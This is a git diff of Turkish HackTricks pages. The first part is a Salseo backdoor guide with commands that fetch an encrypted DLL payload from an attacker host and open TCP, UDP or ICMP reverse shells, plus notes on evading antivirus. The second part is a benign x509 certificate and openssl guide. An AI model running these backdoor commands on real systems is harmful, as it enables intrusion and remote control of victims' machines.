EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
Tamam, şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **kodlanmış EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası**. Şimdi Salseo işlemini gerçekleştirmek için ihtiyacınız olan her şeye sahipsiniz: **şifrelenmiş EvilDalsa.dll** ve **SalseoLoader'ın ikili dosyası.**
**SalseoLoader.exe ikili dosyasını makineye yükleyin. Herhangi bir AV tarafından tespit edilmemeleri gerekiyor...** **SalseoLoader.exe ikili dosyasını makineye yükleyin. Herhangi bir AV tarafından tespit edilmemeleri gerekiyor...**
## **Arka kapıyı çalıştırma** ## **Arka kapıyı çalıştırın**
### **TCP ters kabuk almak (HTTP üzerinden kodlanmış dll indirme)** ### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracılığıyla indirme)**
Unutmayın, ters kabuk dinleyici olarak bir nc başlatın ve kodlanmış evilsalsa'yı sunmak için bir HTTP sunucusu çalıştırın. Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayın.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **UDP ters kabuk alma (SMB üzerinden kodlanmış dll indirme)** ### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmış dll indirme)**
Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu (impacket-smbserver) başlatmayı unutmayın. Ters kabuk dinleyicisi olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayın (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMP ters kabuk alma (kurbanın içinde kodlanmış dll zaten bulunuyor)** ### **ICMP ters kabuk almak (kurbanın içinde zaten kodlanmış dll bulunmaktadır)**
**Bu sefer ters kabuğu almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız olacak. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP Yanıtlarını Devre Dışı Bırakın:** #### **ICMP Yanıtlarını Devre Dışı Bırakın:**
``` ```
@ -142,53 +75,47 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### İstemciyi çalıştırın: #### Müşteriyi çalıştırın:
```bash
./client
```
Bu komut, istemci uygulamasını çalıştıracaktır.
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### Kurbanın içinde, salseo işlemini gerçekleştirelim: #### Kurbanın içinde, salseo şeyini çalıştıralım:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme ## SalseoLoader'ı ana işlevi dışa aktaran DLL olarak derleme
Visual Studio kullanarak SalseoLoader projesini açın. Visual Studio kullanarak SalseoLoader projesini açın.
### Ana fonksiyondan önce \[DllExport] ekleyin ### Ana işlevden önce ekle: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Bu projeye DllExport yükleyin ### Bu projeye DllExport yükleyin
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** #### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi tıklayın (ve açılan pencereyi kabul edin)** #### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açılan pencereyi kabul edin)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Proje klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünecektir. Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
### DllExport'u kaldırın ### DllExport'u kaldırın
**Kaldır**'ı tıklayın (evet, garip gelebilir ama bana güvenin, gereklidir) **Kaldır**'ı seçin (evet, tuhaf ama bana güvenin, gerekli)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın ### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın
Visual Studio'yu **kapatın** Sadece **Visual Studio'yu kapatın**
Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın
**x64**'ü seçin (eğer bir x64 kutusu içinde kullanacaksanız, benim durumumda öyleydi), **System.Runtime.InteropServices**'i (DllExport için Namespace içinde) seçin ve **Uygula**'yı tıklayın **x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -200,25 +127,25 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı
### Çözümü derleyin ### Çözümü derleyin
**Çıktı Türü = Sınıf Kitaplığı**'nı seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kitaplığı) **Çıkış Türü = Sınıf Kitaplığı** seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıkış türü = Sınıf Kitaplığı)
![](<../.gitbook/assets/image (10) (1).png>) ![](<../.gitbook/assets/image (10) (1).png>)
**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64) **x64 platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>) ![](<../.gitbook/assets/image (9) (1) (1).png>)
Çözümü derlemek için: Derle --> Çözümü Derle (Yeni DLL'nin yolunu Çıktı konsolunda göreceksiniz) Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
### Oluşturulan Dll'yi test edin ### Oluşturulan Dll'yi test edin
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın.
Şunu çalıştırın: Çalıştır:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
Eğer herhangi bir hata görünmüyorsa, muhtemelen işlevsel bir DLL'ye sahipsiniz!! Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
## DLL kullanarak bir kabuk alın ## DLL kullanarak bir kabuk alın
@ -235,13 +162,7 @@ rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as managing files and directories, running programs, configuring system settings, and more. ### CMD
CMD is a powerful tool for both legitimate users and hackers. It can be used to execute malicious commands and carry out various hacking activities. Hackers can leverage CMD to create backdoors, gain unauthorized access to systems, execute remote commands, and perform other malicious actions.
As a hacker, it is important to understand CMD and its capabilities. By mastering CMD commands and techniques, you can effectively exploit vulnerabilities, gain control over systems, and achieve your hacking objectives. However, it is crucial to use this knowledge responsibly and ethically, adhering to legal and ethical boundaries.
In summary, CMD is a command-line interpreter in Windows that can be used for legitimate purposes as well as for hacking activities. Understanding CMD and its commands is essential for hackers to carry out successful attacks and achieve their objectives.
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -252,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main
``` ```
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,57 +2,57 @@
<details> <details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Sertifika Nedir ## Sertifika Nedir
Bir **genel anahtar sertifikası**, bir kişinin bir genel anahtara sahip olduğunu kanıtlamak için kriptografi alanında kullanılan bir dijital kimliktir. Sertifika, anahtarın ayrıntılarını, sahibin kimliğini (konu) ve güvenilir bir otoriteden (veren) dijital bir imzayı içerir. Yazılım, vereni güveniyor ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür. Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür.
Sertifikalar genellikle bir [sertifika otoritesi](https://en.wikipedia.org/wiki/Certificate_authority) (CA) tarafından bir [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem, kullanıcıların doğrudan birbirlerinin anahtarlarını doğruladığı [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dir. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir. Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir.
## x509 Ortak Alanlar ## x509 Ortak Alanlar
### **x509 Sertifikalarında Ortak Alanlar** ### **x509 Sertifikalarındaki Ortak Alanlar**
x509 sertifikalarında, sertifikanın geçerliliği ve güvenliği için birkaç **alan** önemli roller oynar. İşte bu alanların ayrıntıları: x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. İşte bu alanların ayrıntıları:
- **Sürüm Numarası**, x509 formatının sürümünü belirtir. * **Sürüm Numarası**, x509 formatının sürümünü belirtir.
- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi'nin (CA) sistemi içinde benzersiz bir şekilde tanımlar ve genellikle iptal takibinde kullanılır. * **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde.
- **Konu** alanı, sertifikanın sahibini temsil eder ve bir makine, bir birey veya bir kuruluş olabilir. Ayrıntılı kimlik bilgilerini içerir: * **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir:
- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. * **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel ayrıntıları sağlar. * **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar.
- **Distinguished Name (DN)**, tam konu tanımlamasını kapsar. * **Distinguished Name (DN)**, tam konu kimliğini kapsar.
- **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi ayrıntılarıyla belirtir ve CA için Konu ile benzer alt alanları içerir. * **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir.
- **Geçerlilik Süresi**, **Not Before** ve **Not After** zaman damgalarıyla belirtilir ve sertifikanın belirli bir tarihten önce veya sonra kullanılmamasını sağlar. * **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olur.
- Sertifikanın güvenliği için önemli olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik ayrıntıları belirtir. * Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır ve sertifikanın uygulamasını ince ayarlamak için **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Alternatif Konu Adı** ve diğer özellikleri belirtir. * **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir.
#### **Anahtar Kullanımı ve Uzantılar** #### **Anahtar Kullanımı ve Uzantılar**
- **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını, dijital imza veya anahtar şifreleme gibi, tanımlar. * **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme.
- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucusu kimlik doğrulaması için. * **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için.
- **Alternatif Konu Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA veya son varlık sertifikası olup olmadığını tanımlar. * **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son kullanıcı sertifikası mı olduğunu belirler.
- **Konu Anahtar Tanımlayıcısı** ve **Yetkilendirme Anahtar Tanımlayıcısı**, anahtarların benzersizliğini ve izlenebilirliğini sağlar. * **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
- **Yetkilendirme Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yol sağlar. * **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
- **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar. * **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -76,11 +76,11 @@ print(f"Public Key: {public_key}")
``` ```
### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark** ### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark**
**OCSP** (**RFC 2560**), bir dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için bir istemci ve bir yanıtlayıcının birlikte çalıştığı bir yöntemdir ve tam **CRL**'yi indirmeye gerek duymaz. Bu yöntem, potansiyel olarak büyük bir dosya indirmeyi gerektiren, iptal edilen sertifika seri numaralarının bir listesini sağlayan geleneksel **CRL**'den daha verimlidir. CRL'ler 512 girişe kadar içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) bulunabilir. **OCSP** (**RFC 2560**), bir istemci ve yanıtlayıcının birlikte çalışarak dijital genel anahtar sertifikasının iptal edilip edilmediğini kontrol etmesini sağlar, tam **CRL**'yi indirmeye gerek olmadan. Bu yöntem, potansiyel olarak büyük bir dosyayı indirmeyi gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Sertifika Şeffaflığı Nedir** ### **Sertifika Şeffaflığı Nedir**
Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Aşağıdaki hedeflere sahiptir: Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılara görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır:
* CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek. * CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek.
* Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak. * Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak.
@ -88,184 +88,108 @@ Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının ala
#### **Sertifika Kayıtları** #### **Sertifika Kayıtları**
Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkes tarafından denetlenebilir, sadece ekleme yapılan sertifikaların kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de kamu, bu kayıtlara sertifikaları sunabilir veya sorgulayabilir. Kayıt sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgilenen herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir. Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Log sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir.
#### **Sorgu** #### **Sorgu**
Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumlulukları vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar.
## **Formatlar** ## **Formatlar**
### **PEM Formatı** ### **PEM Formatı**
- Sertifikalar için en yaygın kullanılan formattır.
- Sertifikaları ve özel anahtarları ayrı dosyalarda gerektirir, Base64 ASCII ile kodlanmıştır. * Sertifikalar için en yaygın kullanılan formattır.
- Yaygın uzantılar: .cer, .crt, .pem, .key. * Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır.
- Apache ve benzeri sunucular tarafından başlıca kullanılır. * Yaygın uzantılar: .cer, .crt, .pem, .key.
* Başta Apache olmak üzere benzer sunucular tarafından kullanılır.
### **DER Formatı** ### **DER Formatı**
- Sertifikaların ikili bir formattır.
- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. * Sertifikaların ikili bir formatıdır.
- Yaygın uzantılar: .cer, .der. * PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
- Genellikle Java platformlarıyla kullanılır. * Yaygın uzantılar: .cer, .der.
* Genellikle Java platformlarıyla kullanılır.
### **P7B/PKCS#7 Formatı** ### **P7B/PKCS#7 Formatı**
- Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir.
- Sadece sertifikaları ve zincir sertifikalarını, özel anahtarı hariç tutar. * Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir.
- Microsoft Windows ve Java Tomcat tarafından desteklenir. * Yalnızca sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar.
* Microsoft Windows ve Java Tomcat tarafından desteklenir.
### **PFX/P12/PKCS#12 Formatı** ### **PFX/P12/PKCS#12 Formatı**
- Sunucu sertifikalarını, ara sertifikalarını ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
- Uzantılar: .pfx, .p12.
- Genellikle sertifika alma ve alma işlemleri için Windows'ta kullanılır.
### **Formatları Dönüştürme** * Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
* Uzantılar: .pfx, .p12.
* Genellikle Windows'ta sertifika içe ve dışa aktarma işlemleri için kullanılır.
Uyumluluk için **PEM dönüşümleri** önemlidir: ### **Format Dönüşümleri**
- **x509'tan PEM'e** **PEM dönüşümleri**, uyumluluk için önemlidir:
* **x509'tan PEM'e**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
- **PEM'den DER'e** * **PEM'i DER'e dönüştürme**
PEM formatındaki bir sertifikayı DER formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
1. İlk olarak, PEM formatındaki sertifikayı bir metin düzenleyiciyle açın.
2. Sertifikanın başında "-----BEGIN CERTIFICATE-----" ve sonunda "-----END CERTIFICATE-----" ifadelerini bulun.
3. Bu ifadeler arasındaki tüm metni kopyalayın ve yeni bir metin dosyasına yapıştırın.
4. Dosyayı ".pem" uzantısıyla kaydedin.
5. Ardından, OpenSSL aracını kullanarak PEM dosyasını DER formatına dönüştürebilirsiniz. Aşağıdaki komutu kullanarak dönüşümü gerçekleştirebilirsiniz:
```bash
openssl x509 -in example.pem -out example.der -outform DER
```
Burada "example.pem" dönüştürmek istediğiniz PEM dosyasının adıdır ve "example.der" ise çıktı olarak almak istediğiniz DER dosyasının adıdır.
6. Dönüştürme işlemi tamamlandıktan sonra, DER formatındaki sertifikayı kullanabilirsiniz.
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
- **DER'den PEM'e** * **DER'den PEM'e**
DER formatındaki bir sertifikayı PEM formatına dönüştürmek için aşağıdaki adımları izleyebilirsiniz:
1. DER formatındaki sertifikayı bir metin düzenleyiciyle açın.
2. Sertifika içeriğini kopyalayın ve yeni bir metin dosyasına yapıştırın.
3. Dosyayı `.cer` veya `.der` uzantısıyla kaydedin.
